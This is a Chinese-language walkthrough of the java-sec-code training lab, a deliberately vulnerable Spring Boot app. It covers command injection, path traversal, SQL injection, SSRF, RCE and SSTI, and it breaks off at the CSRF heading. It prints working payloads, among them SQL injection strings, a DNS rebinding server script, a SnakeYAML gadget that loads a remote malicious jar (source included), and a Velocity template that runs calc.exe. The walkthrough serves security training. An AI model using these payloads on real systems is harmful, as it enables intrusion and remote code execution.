# java-sec-code 靶场复现:
搭建:这是有个 springboot 项目,直接打开这个项目运行即可
记得配置配置文件 application.properties 这个文件的 jdbc 的账号和密码记得换成自己的账号密码
在配置文件周围有个 create_db.sql
记得先创建这个库,再是运行里面的内容
再是登录就是下面的页面
# Cmdinject
# /codeinject
接下来就是复现这个漏洞了,审计源代码:
@GetMapping("/codeinject") | |
public String codeInject(String filepath) throws IOException { | |
String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath}; | |
ProcessBuilder builder = new ProcessBuilder(cmdList); | |
builder.redirectErrorStream(true); | |
Process process = builder.start(); | |
return WebUtils.convertStreamToString(process.getInputStream()); | |
} |
这个是相关的代码:至于怎么知道的就是找这个路由是 / 从的 inject,源代码全局搜索就好了
里面有个类看一下构造函数:
可以发现他将我们的命令加入到 this.command 里面来了(是按 arraylist 储存起来),
执行了 redirectErrorStream 这个函数,看一下他的含义
public ProcessBuilder redirectErrorStream(boolean redirectErrorStream) { | |
this.redirectErrorStream = redirectErrorStream; | |
return this; | |
} |
将 builder 自己的 redirectErrorStream 换成传入的参数
# start()函数详解:
# 1. 把命令参数转换为字符串数组
String[] cmdarray = command.toArray(new String[command.size()]); | |
cmdarray = cmdarray.clone(); |
- 把用户传入的命令(通常是一个 List<String>)转换成数组形式,并且克隆一份,防止外部引用被修改(安全性考虑)。
# 2. 参数检查
for (String arg : cmdarray) | |
if (arg == null) | |
throw new NullPointerException(); |
- 确保命令数组中的每个参数都不是
null
,否则抛出异常。
# 3. 获取要执行的程序名(命令第一个元素)
String prog = cmdarray[0]; |
- 取数组的第一个元素作为要执行的程序或命令。
# 4. 安全管理器检查
SecurityManager security = System.getSecurityManager(); | |
if (security != null) | |
security.checkExec(prog); |
- 如果有安全管理器,检查是否允许执行这个程序。
- 这是 Java 的安全策略部分,用于限制敏感操作。
# 5. 获取执行目录路径
String dir = directory == null ? null : directory.toString(); |
- 如果指定了工作目录,就转成字符串路径,否则为
null
。
# 6. 检查命令参数中是否含有非法的空字符
for (String s : cmdarray) { | |
if (s.indexOf('\u0000') >= 0) { | |
throw new IOException("invalid null character in command"); | |
} | |
} |
- 如果命令中包含空字符
\0
,抛出异常,这通常是非法命令参数。
# 7. 启动进程
try { | |
return ProcessImpl.start(cmdarray, | |
environment, | |
dir, | |
redirects, | |
redirectErrorStream); | |
} catch (IOException | IllegalArgumentException e) { | |
... | |
} |
- 真正调用底层的
ProcessImpl.start()
方法启动进程,传入命令参数、环境变量、工作目录、重定向设置等。 - 如果启动失败,会捕获异常。
- 异常处理和安全相关异常信息屏蔽
if ((e instanceof IOException) && security != null) { | |
try { | |
security.checkRead(prog); | |
} catch (SecurityException se) { | |
exceptionInfo = ""; | |
cause = se; | |
} | |
} | |
throw new IOException( | |
"Cannot run program \"" + prog + "\"" | |
+ (dir == null ? "" : " (in directory \"" + dir + "\")") | |
+ exceptionInfo, | |
cause); |
- 如果启动失败,尝试用安全管理器判断是否有权限读取该程序文件,如果没有权限,则隐藏具体错误信息。
- 抛出一个新的
IOException
,包含更友好的错误描述。
process.getInputStream () 函数返回一个 InputStream,用于读取子进程的标准输出(stdout)。返回的就是执行的结果
然后就是 WebUtils.convertStreamToString
public static String convertStreamToString(java.io.InputStream is) { | |
java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A"); | |
return s.hasNext() ? s.next() : ""; | |
} |
这个函数就是将其输出出来(使用了 scanner 类来读取 InputStream 类,让 Scanner
使用 输入开头 ( \A
) 作为分隔符,这样整个流的内容会被当作一个整体读取(一次性读完整个流),s.next 返回整个输入流的字符串内容,如果流是空的返回 “”)
# /codeinject/host
差不多:只是将文件输入转成了 request 的 http 的 host 头了
但是发现用 bp 和 hackbar 都不行就离谱,只能用 curl 才能传,
作者解释:https://github.com/JoyChou93/java-sec-code/issues/78
# jsonp
解释:前端目标:从其他域名请求数据(绕过同源策略)
浏览器限制 Ajax(比如 fetch/XMLHttpRequest)不能跨与调用 API,比如:
// 这是不能跨域的 | |
fetch("http://api.othersite.com/user") // ❌ 被浏览器拦截 |
・意思就是前端定义一手函数,包含怎么处理数据什么的,然后通过 script 标签回调一个函数,这样后端就会知道这个是 JSONP 数据,需要返回一个函数一个的数据,然后跟我前端定义的函数结构是一样的,前端就可以接受数据进行处理就行了
自动添加为 JSONP 代码:
@ControllerAdvice | |
public class JSONPAdvice extends AbstractJsonpResponseBodyAdvice { | |
public JSONPAdvice() { | |
super("callback", "cback"); //callback 的参数名,可以为多个 | |
} | |
} |
在 java-sec-code 里面是
public class Object2Jsonp extends AbstractJsonpResponseBodyAdvice { | |
private final String[] callbacks; | |
private final Logger logger= LoggerFactory.getLogger(this.getClass()); | |
// method of using @Value in constructor | |
public Object2Jsonp(@Value("${joychou.security.jsonp.callback}") String[] callbacks) { | |
super(callbacks); // Can set multiple paramNames | |
this.callbacks = callbacks; | |
} |
可以通过 AbstractJsonpResponseBodyAdvice 这个关键字寻找,得先找到 callback 的参数名字才行,就是 ${joychou.security.jsonp.callback} 这个
拿到这个函数,然后就是有个 security 的绕过,要求 referer 必要时 Joychou.org 并且得是 http/https 开头的,用
Referer: https://joychou.org
绕过
其他的感觉太老了,没必要深究,了解其原理就好了
# 文件上传:
目前这类漏洞在 spring 里非常少,原因有两点:
- 大多数公司上传的文件都会到 cdn
- spring 的 jsp 文件必须在 web-inf 目录下才能执行
除非,可以上传 war 包到 tomcat 的 webapps 目录。所以就不 YY 写漏洞了。
访问 http://localhost:8080/file/
进行文件上传,上传成功后,再访问 http://localhost:8080/image/上传的文件名
可访问上传后的文件。
# 目录穿越
@GetMapping("/path_traversal/sec") | |
public String getImageSec(String filepath) throws IOException { | |
if (SecurityUtil.pathFilter(filepath) == null) { | |
logger.info("Illegal file path: " + filepath); | |
return "Bad boy. Illegal file path."; | |
} | |
return getImgBase64(filepath); | |
} |
给了 filepath 文件地址,直接../ 加文件地址就有了
# SQL 注入
# raw sql
// 手拼 raw sql | |
Statement statement = con.createStatement(); | |
String sql = "select * from users where username = '" + username + "'"; | |
ResultSet rs = statement.executeQuery(sql); | |
/sqli/jdbc/vuln?username=joychou' or 1=1%23 |
还可以联合注入继续 SQL 注入:
0' or 1=1 union select 1,database(),3 '
# Incorrect prepareStatement
// PreparedStatement 是 java 原生的 sql 预编译函数 | |
// 这里应该用?表示预编译的字符串 | |
String sql = "select * from users where username = '" + username + "'"; | |
PreparedStatement st = con.prepareStatement(sql); | |
ResultSet rs = st.executeQuery(); | |
/sqli/jdbc/ps/vuln?username=joychou' or 'a'='a'%23 |
# Incorrect mybatis
// 用 ${} 不会预编译,应该用 #{} | |
// SQLI.java | |
@GetMapping("/mybatis/vuln01") | |
public List<User> mybatisVuln01(@RequestParam("username") String username) { | |
return userMapper.findByUserNameVuln01(username); | |
} | |
// UserMapper.java | |
@Select("select * from users where username = '${username}'") | |
List<User> findByUserNameVuln01(@Param("username") String username); | |
/sqli/mybatis/vuln01?username=joychou' or '1'='1'%23 | |
// 应该用 #{} | |
// SQLI.java | |
@GetMapping("/mybatis/vuln02") | |
public List<User> mybatisVuln02(@RequestParam("username") String username) { | |
return userMapper.findByUserNameVuln02(username); | |
} | |
// UserMapper.java | |
List<User> findByUserNameVuln02(String username); | |
// UserMapper.xml | |
<select id="findByUserNameVuln02" parameterType="String" resultMap="User"> | |
select * from users where username like '%${_parameter}%' | |
</select> | |
/sqli/mybatis/vuln02?username=joychou' or '1'='1'%23 | |
// SQLI.java | |
@GetMapping("/mybatis/orderby/vuln03") | |
public List<User> mybatisVuln03(@RequestParam("sort") String sort) { | |
return userMapper.findByUserNameVuln03(sort); | |
} | |
// UserMapper.java | |
List<User> findByUserNameVuln03(@Param("order") String order); | |
// UserMapper.xml | |
<select id="findByUserNameVuln03" parameterType="String" resultMap="User"> | |
select * from users | |
<if test="order != null"> | |
order by ${order} asc | |
</if> | |
</select> | |
/sqli/mybatis/orderby/vuln03?sort=id desc-- |
修复方案:
正确使用 orm
框架,预编译传入的参数。
# 防护方案:
(1)预编译
String sql = "select * from users where username = ?";
PreparedStatement st = con.prepareStatement(sql);
复制代码12
(2)waf
private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$");
public static String sqlFilter(String sql) {
if (!FILTER_PATTERN.matcher(sql).matches()) {
return null;
}
return sql;
java复制代码123456
(3)MyBatis 防护
@Select("select * from users where username = #{username}")
# ssrf
# 1. 路由 /ssrf/urlConnection/vuln
漏洞代码:
@RequestMapping(value = "/urlConnection/vuln", method = {RequestMethod.POST, RequestMethod.GET})
public String URLConnectionVuln(String url) {
return HttpUtils.URLConnection(url);
}
再来看函数 UrlConnection
的定义:
public static String URLConnection(String url) {
try {
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request
String inputLine;
StringBuilder html = new StringBuilder();
while ((inputLine = in.readLine()) != null) {
html.append(inputLine);
}
in.close();
return html.toString();
} catch (Exception e) {
logger.error(e.getMessage());
return e.getMessage();
}
}
这里我们可以用文件读取协议 file:/
实现访问,也可以访问到内网的其他主机
# 2. 路由 /ssrf/HttpURLConnection/vuln
漏洞代码:
@GetMapping("/HttpURLConnection/vuln")
public String httpURLConnectionVuln(@RequestParam String url) {
return HttpUtils.HttpURLConnection(url);
}
来看函数 HttpUrlConnection
定义:
public static String HttpURLConnection(String url) {
try {
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
HttpURLConnection conn = (HttpURLConnection) urlConnection;
// conn.setInstanceFollowRedirects(false);
// Many HttpURLConnection methods can send http request, such as getResponseCode, getHeaderField
InputStream is = conn.getInputStream(); // send request
BufferedReader in = new BufferedReader(new InputStreamReader(is));
String inputLine;
StringBuilder html = new StringBuilder();
while ((inputLine = in.readLine()) != null) {
html.append(inputLine);
}
in.close();
return html.toString();
} catch (IOException e) {
logger.error(e.getMessage());
return e.getMessage();
}
}
这里用 HttpURLConnection
类进行了一个强转,限制只能使用 http/https 协议,但可以访问内网其他主机:
# 3. 路由 /ssrf/openStream
@GetMapping("/openStream")
public void openStream(@RequestParam String url, HttpServletResponse response) throws IOException {
InputStream inputStream = null;
OutputStream outputStream = null;
try {
String downLoadImgFileName = WebUtils.getNameWithoutExtension(url) + "." + WebUtils.getFileExtension(url);
// download
response.setHeader("content-disposition", "attachment;fileName=" + downLoadImgFileName);
URL u = new URL(url);
int length;
byte[] bytes = new byte[1024];
inputStream = u.openStream(); // send request
outputStream = response.getOutputStream();
while ((length = inputStream.read(bytes)) > 0) {
outputStream.write(bytes, 0, length);
}
} catch (Exception e) {
logger.error(e.toString());
} finally {
if (inputStream != null) {
inputStream.close();
}
if (outputStream != null) {
outputStream.close();
}
}
}
可以通过这个路由实现任意文件下载:
# 4. 路由 /ssrf/HttpSyncClients/vuln
漏洞代码:
@GetMapping("/HttpSyncClients/vuln")
public String HttpSyncClients(@RequestParam("url") String url) {
return HttpUtils.HttpAsyncClients(url);
}
HttpAsyncClients
函数:
public static String HttpAsyncClients(String url) {
CloseableHttpAsyncClient httpclient = HttpAsyncClients.createDefault();
try {
httpclient.start();
final HttpGet request = new HttpGet(url);
Future<HttpResponse> future = httpclient.execute(request, null);
HttpResponse response = future.get(6000, TimeUnit.MILLISECONDS);
return EntityUtils.toString(response.getEntity());
} catch (Exception e) {
return e.getMessage();
} finally {
try {
httpclient.close();
} catch (Exception e) {
logger.error(e.getMessage());
}
}
}
未对 SSRF 进行检查,存在漏洞:
# 5. 路由 /ssrf/restTemplate/vuln1
漏洞代码:
@GetMapping("/restTemplate/vuln1") | |
public String RestTemplateUrlBanRedirects(String url){ | |
HttpHeaders headers = new HttpHeaders(); | |
headers.setContentType(MediaType.APPLICATION_JSON_UTF8); | |
return httpService.RequestHttpBanRedirects(url, headers); | |
} |
这段代码使用 Spring RestTemplate 来进行 HTTP 请求,并禁止了重定向,但不影响直接访问:
# 6. 路由 /ssrf/restTemplate/vuln2
漏洞代码:
@GetMapping("/restTemplate/vuln2")
public String RestTemplateUrl(String url){
HttpHeaders headers = new HttpHeaders();
headers.setContentType(MediaType.APPLICATION_JSON_UTF8);
return httpService.RequestHttp(url, headers);
}
这个不禁止重定向了,直接就可以 SSRF
# 7. 路由 /ssrf/hutool/vuln
漏洞代码:
@GetMapping("/hutool/vuln")
public String hutoolHttp(String url){
return HttpUtil.get(url);
}
换汤不换药,该库也能 SSRF, 不过禁止了重定向:
# 8. 路由 /ssrf/denrebind/vuln
漏洞代码:
@GetMapping("/dnsrebind/vuln")
public String DnsRebind(String url) {
java.security.Security.setProperty("networkaddress.cache.negative.ttl" , "0");
if (!SecurityUtil.checkSSRFWithoutRedirect(url)) {
return "Dangerous url";
}
return HttpUtil.get(url);
}
checkSSRFWithoutRedirect
函数:
/**
* 不能使用白名单的情况下建议使用该方案。前提是禁用重定向并且TTL默认不为0。
* 存在问题:
* 1、TTL为0会被绕过
* 2、使用重定向可绕过
*
* @param url The url that needs to check.
* @return Safe url returns true. Dangerous url returns false.
*/
public static boolean checkSSRFWithoutRedirect(String url) {
if(url == null) {
return false;
}
return !SSRFChecker.isInternalIpByUrl(url);
}
isInternalIpByUrl
函数:
public static boolean isInternalIpByUrl(String url) {
String host = url2host(url);
if (host.equals("")) {
return true; // 异常URL当成内网IP等非法URL处理
}
String ip = host2ip(host);
if (ip.equals("")) {
return true; // 如果域名转换为IP异常,则认为是非法URL
}
return isInternalIp(ip);
}
添加了 IP 检查,修改一下 dns 解析即可绕过,方法如下:
给本地的 hosts 文件添加一条解析记录:
192.168.1.43 www.baidu.com
然后就可以实现 ssrf:
# DNS 重绑定
# dns:
DNS (Domain Name Service)、计算机域名服务器,是互联网的一项服务。它作为将域名和 IP 地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。DNS 使用 TCP 和 UDP 端口 53 [1]。当前,对于每一级域名长度的限制是 63 个字符,域名总长度则不能超过 253 个字符。开始时,域名的字符仅限于 ASCII 字符的一个子集。2008 年,ICANN 通过一项决议,允许使用其它语言作为互联网顶级域名的字符。使用基于 Punycode 码的 IDNA 系统,可以将 Unicode 字符串映射为有效的 DNS 字符集。因此,诸如 “XXX. 中国”、“XXX. 美国” 的域名可以在地址栏直接输入并访问,而不需要安装插件。但是,由于英语的广泛使用,使用其他语言字符作为域名会产生多种问题,例如难以输入,难以在国际推广等。
小概念简单地说,DNS 的存在就是为了域名解析,DNS 绑定的效果就是在 DNS 中将域名请求解析为相应的服务器 IP 地址请求,好处就是人们访问服务器的时候,不需要背枯燥的 32 位 IPv4 的地址,而是可以大众化的单词,相当有含义和方便。
域名解析就是可以通过这个域名直接找到他的 IP 地址
# DNS 的记录类型
-
- 主机记录(A记录):A记录是用于名称解析的重要记录,它将特定的主机名映射到对应的主机IP上 - 别名记录(CNAME记录):CNAME记录用于将某个别名指向到某个A记录上,这就就不需要再为某个新名字创建一条新纪录。 - 名称服务器记录(NS):委托DNS区域使用已提供的权威域名服务器,用来指定该域名由那个DNS服务器来解析,后面谈一下DNSLog的开发思路会涉及这个。
# DNS 绑定技术:
1.DNS 区域是一个层次结构的空间,根域名服务器 -》子域名服务器 -》二代子域名服务器
2.DNS 查询方式:递归和迭代
递归一般是指
以查询 zh.wikipedia.org 为例: 客户端发送查询报文"query zh.wikipedia.org"至DNS服务器,DNS服务器首先检查自身缓存,如果存在记录则直接返回结果。 如果记录老化或不存在,则: DNS服务器向根域名服务器发送查询报文"query zh.wikipedia.org",根域名服务器返回顶级域 .org 的权威域名服务器地址。 DNS服务器向 .org 域的权威域名服务器发送查询报文"query zh.wikipedia.org",得到二级域 .wikipedia.org 的权威域名服务器地址。 DNS服务器向 .wikipedia.org 域的权威域名服务器发送查询报文"query zh.wikipedia.org",得到主机 zh 的A记录,存入自身缓存并返回给客户端。
这里我们 需要注意的是,DNS 的返回结果是可以由 DNS 服务器自己来决定的
所以说我可以编写一个 DNS 服务器来控制指定域名的解析 IP,而且可以控制 TTL 值
请求域名解析(第一种路径)
(1),浏览器发起的请求
1. 浏览器搜索自身的 DNS 缓存,命中则解析,否则继续下一步
查看 google 浏览器的缓存记录
[chrome://net-internals/#dns](chrome://net-internals/#dns)
2. 浏览器搜索操作系统自身的 DNS 缓存,如果找到且没有国企(TTL 值),则解析结束,否则下一步(这一步很重要,TTL 值在这里其决定是否下一步)
3. 尝试读取 hosts 文件,假设不找到,继续下一步
4. 浏览器发起 DNS 系统调用,迭代过程如下:
运营商 DNS--> 根域名服务器 --> 顶级域名服务器 --> 我们设置 NS 域名服务器。(我们可以递归向下设置 TTL 的值)
5. 找到 IP 地址,简历对应的 TCP 连接,开始通信。
SSRF 发起的请求,curl 发起的请求跟前面相比就少了第一步的查询过程
# DNS 重绑定:
概念:当我们发起域名解析请求的时候,第一次方法会返回以恶个 IP 地址 A,但是当我们发起第二次域名解析请求的时候,却会返回一个不同于 A 的 IP 地址 B
比如直接
curl www.ak47.com 获取的解析ip为60.221.158.45,将其认定为外网ip,给与通行,但是程序为了考虑一些cdn的因素,第二次请求判断的时候不会去第一个解析结果的ip
那么第二次照样是curl www.ak47.com 这个时候我们可以在这个短暂的第一次和第二次的间隔里面控制第二次的解析ip为127.0.0.1(可以自己设置),从而实现访问内网的应用,实现重绑定攻击。
脚本(本地搭建):
# rebind_dns.py | |
from dnslib.server import DNSServer, BaseResolver | |
from dnslib import DNSRecord, QTYPE, RR, A, DNSHeader | |
import time | |
# 域名记录访问时间 | |
visit_log = {} | |
# 域名配置 | |
RECORD_DOMAIN = "rebind.test." # 注意末尾要有点 | |
IP1 = "1.2.3.4" # 第一次返回的攻击者站点 IP | |
IP2 = "127.0.0.1" # 后续返回目标服务 IP(如 localhost) | |
TTL = 1 # TTL 设置为 1 秒 | |
SWITCH_DELAY = 10 # 多少秒后进行切换 | |
class RebindResolver(BaseResolver): | |
def resolve(self, request, handler): | |
qname = str(request.q.qname) | |
now = time.time() | |
if qname.endswith(RECORD_DOMAIN): | |
if qname not in visit_log: | |
visit_log[qname] = now | |
elapsed = now - visit_log[qname] | |
ip = IP1 if elapsed < SWITCH_DELAY else IP2 | |
print(f"[+] Responding {qname} with {ip}") | |
reply = request.reply() | |
reply.add_answer(RR(qname, QTYPE.A, rdata=A(ip), ttl=TTL)) | |
return reply | |
else: | |
return request.reply() | |
# 启动服务 | |
if __name__ == '__main__': | |
resolver = RebindResolver() | |
server = DNSServer(resolver, port=5353, address='0.0.0.0', tcp=False) | |
print("[*] DNS server running at UDP :5353 ...") | |
server.start() |
启动:
sudo python3 1.py |
测试:
模拟请求: | |
dig @127.0.0.1 -p 5353 rebind.test(1.2.3.4) | |
过十秒---》 | |
dig @127.0.0.1 -p 5353 rebind.test(127.0.0.1) | |
dig @127.0.0.1 -p 5353 rebind.test(127.0.0.1) |
第一次:
第二三次:
# 防御思路
局限性:
-
时间窗口问题
DNS 缓存的问题。即使我们在前面实现的时候设置了 TTL 为 0,但是有些公共 DNS 服务器,比如 114.114.114.114 还是会把记录进行缓存,完全不按照标准协议来,遇到这种情况是无解的。但是 8.8.8.8 是严格按照 DNS 协议去管理缓存的,如果设置 TTL 为 0,则不会进行缓存。
-
DNS 缓存机制
Linux dns 默认不缓存,windows and mac, 为了加快 http 访问速度,系统会进行 DNS 缓存
-
应用环境问题
(1) java 默认失败
Java 应用的默认 TTL 为 10s,这个默认配置会导致 DNS Rebinding 绕过失败
测试的时候可以修改配置:
java.security.Security.setProperty("networkaddress.cache.negative.ttl" , "0");
(2) PHP 默认 TTL 为 0, 可以攻击
其实这个漏洞局限性还是很大的,但是如果能确认发起 DNS 请求,针对性大量请求还是能提高命中的概率。
那么这种攻击有什么办法解决呢?
小弟就来丢一个完美的解决的方案?
原理:
通过控制 2 次的 DNS 查询请求的间隔低于 TTL 值,确保两次查询的结果一致。
技术实现:
所以代码写一个请求判断,Linux 系统修改默认的 TTL 值为 10, 即可很轻松解决这个问题。
# rce
# 1. 路由 /rce/runtime/exec
@GetMapping("/runtime/exec") | |
public String CommandExec(String cmd) { | |
Runtime run = Runtime.getRuntime(); | |
StringBuilder sb = new StringBuilder(); | |
try { | |
Process p = run.exec(cmd); | |
BufferedInputStream in = new BufferedInputStream(p.getInputStream()); | |
BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); | |
String tmpStr; | |
while ((tmpStr = inBr.readLine()) != null) { | |
sb.append(tmpStr); | |
} | |
if (p.waitFor() != 0) { | |
if (p.exitValue() == 1) | |
return "Command exec failed!!"; | |
} | |
inBr.close(); | |
in.close(); | |
} catch (Exception e) { | |
return e.toString(); | |
} | |
return sb.toString(); | |
} |
payload:cmd=whoami
# 2. 路由 /rce/processBuilder
@GetMapping("/ProcessBuilder") | |
public String processBuilder(String cmd) { | |
StringBuilder sb = new StringBuilder(); | |
try { | |
String[] arrCmd = {"/bin/sh", "-c", cmd}; | |
ProcessBuilder processBuilder = new ProcessBuilder(arrCmd); | |
Process p = processBuilder.start(); | |
BufferedInputStream in = new BufferedInputStream(p.getInputStream()); | |
BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); | |
String tmpStr; | |
while ((tmpStr = inBr.readLine()) != null) { | |
sb.append(tmpStr); | |
} | |
} catch (Exception e) { | |
return e.toString(); | |
} | |
return sb.toString(); | |
} |
cmd=whoami
# 3. 路由 /rce/jscmd
js 文件:
try { | |
// 导入 Java 的 Runtime 和 Scanner 类 | |
var Runtime = Java.type("java.lang.Runtime"); | |
var Scanner = Java.type("java.util.Scanner"); | |
// 要执行的命令,这里用 whoami 方便查看当前用户 | |
var cmd = ["cat","/flag"]; // 可以通过这样的方式 cat /flag// 不能直接在一个字符串中,得隔开 | |
// 执行命令 | |
var proc = Runtime.getRuntime().exec(cmd); | |
// 等待命令执行完成 | |
proc.waitFor(); | |
// 读取命令的标准输出流 | |
var s = new Scanner(proc.getInputStream()).useDelimiter("\\A"); | |
var output = s.hasNext() ? s.next() : "no output"; | |
// 打印结果到服务器控制台(Nashorn 的 print) | |
print("Command output: " + output); | |
} catch (e) { | |
// 出现异常时打印错误信息 | |
print("Error executing command: " + e); | |
} |
@GetMapping("/jscmd") | |
public void jsEngine(String jsurl) throws Exception{ | |
// js nashorn javascript ecmascript | |
ScriptEngine engine = new ScriptEngineManager().getEngineByName("js"); | |
Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE); | |
String cmd = String.format("load(\"%s\")", jsurl); | |
engine.eval(cmd, bindings); | |
} |
# ![image-20250710111939201]()
也是可以了
# 4. 路由 /rce/vuln/yarm
源码代码:
@GetMapping("/vuln/yarm") | |
public void yarm(String content) { | |
Yaml y = new Yaml(); | |
// | |
y.load(content); | |
} |
该代码利用 SnakeYAML 存在的反序列化漏洞来 rce,在解析恶意 yml 内容时会完成指定的动作,实现命令执行。我们所加载的 yaml 文件如下:
!!javax.script.ScriptEngineManager [ | |
!!java.net.URLClassLoader [[ | |
!!java.net.URL ["http://127.0.0.1/yaml-payload.jar"] | |
]] | |
] |
jar 是我们远程加载的恶意文件,其源码如下:
package artsploit; | |
import javax.script.ScriptEngine; | |
import javax.script.ScriptEngineFactory; | |
import java.io.IOException; | |
import java.util.List; | |
public class AwesomeScriptEngineFactory implements ScriptEngineFactory { | |
public AwesomeScriptEngineFactory() { | |
try { | |
Runtime.getRuntime().exec("whoami"); | |
Runtime.getRuntime().exec("calc.exe"); | |
} catch (IOException e) { | |
e.printStackTrace(); | |
} | |
} | |
@Override | |
public String getEngineName() { | |
return null; | |
} | |
@Override | |
public String getEngineVersion() { | |
return null; | |
} | |
@Override | |
public List<String> getExtensions() { | |
return null; | |
} | |
@Override | |
public List<String> getMimeTypes() { | |
return null; | |
} | |
@Override | |
public List<String> getNames() { | |
return null; | |
} | |
@Override | |
public String getLanguageName() { | |
return null; | |
} | |
@Override | |
public String getLanguageVersion() { | |
return null; | |
} | |
@Override | |
public Object getParameter(String key) { | |
return null; | |
} | |
@Override | |
public String getMethodCallSyntax(String obj, String m, String... args) { | |
return null; | |
} | |
@Override | |
public String getOutputStatement(String toDisplay) { | |
return null; | |
} | |
@Override | |
public String getProgram(String... statements) { | |
return null; | |
} | |
@Override | |
public ScriptEngine getScriptEngine() { | |
return null; | |
} | |
} |
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
漏洞验证:
还是得开着 mysql 才能出来(被坑了)
漏洞修复:
Yaml y = new Yaml(new SafeConstructor); |
# 5. 路由 /rce/groovy
@GetMapping("groovy") | |
public void groovyshell(String content) { | |
GroovyShell groovyShell = new GroovyShell(); | |
groovyShell.evaluate(content); | |
} |
漏洞利用:
# SSTI
漏洞代码:
@GetMapping("/velocity") | |
public void velocity(String template) { | |
Velocity.init(); | |
VelocityContext context = new VelocityContext(); | |
context.put("author", "Elliot A."); | |
context.put("address", "217 E Broadway"); | |
context.put("phone", "555-1337"); | |
StringWriter swOut = new StringWriter(); | |
Velocity.evaluate(context, swOut, "test", template); | |
} |
Apache Velocity 是一个基于模板的引擎,用于生成文本输出(例如:HTML、XML 或任何其他形式得 ASCII 文本),它得设计目标是提供一种简单得方式来讲模板和上下文数据结合在一起,因此被广泛应用于各种 java 应用程序中包括 web 应用。具体得 Apache Velovity 引擎得应用 可以看这篇博客。
# Velocity.evaluate
velocity.evalueate 是 Velocity 引擎中的一个方法,用于处理字符串模板的评估,Velocity 是一个基于 java 的模板引擎,广泛应用于 WEB 开发和其他需要动态内容生成的场合,Velocity.evaluate 方法的主要作用是将给定的模板字符串于上下文对象结合并生成最终的输出结果,这个方法通常用于在运行是动态创建内容,
方法如下所示:
public static void evaluate(Context context, Writer writer, String templateName, String template) |
参数说明:
Context context:提供模板所需的数据上下文,可以包含多个键值对
Writer writer:输出流,用于写入生成的内容
String templateName:模板的名称,通常用于调试信息中
String template:要评估的模板字符串
可以构造以下代码:
http://127.0.0.1:8080/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22calc.exe%22)
# CSRF
# 1. 路由 /csrf/post
漏洞源码: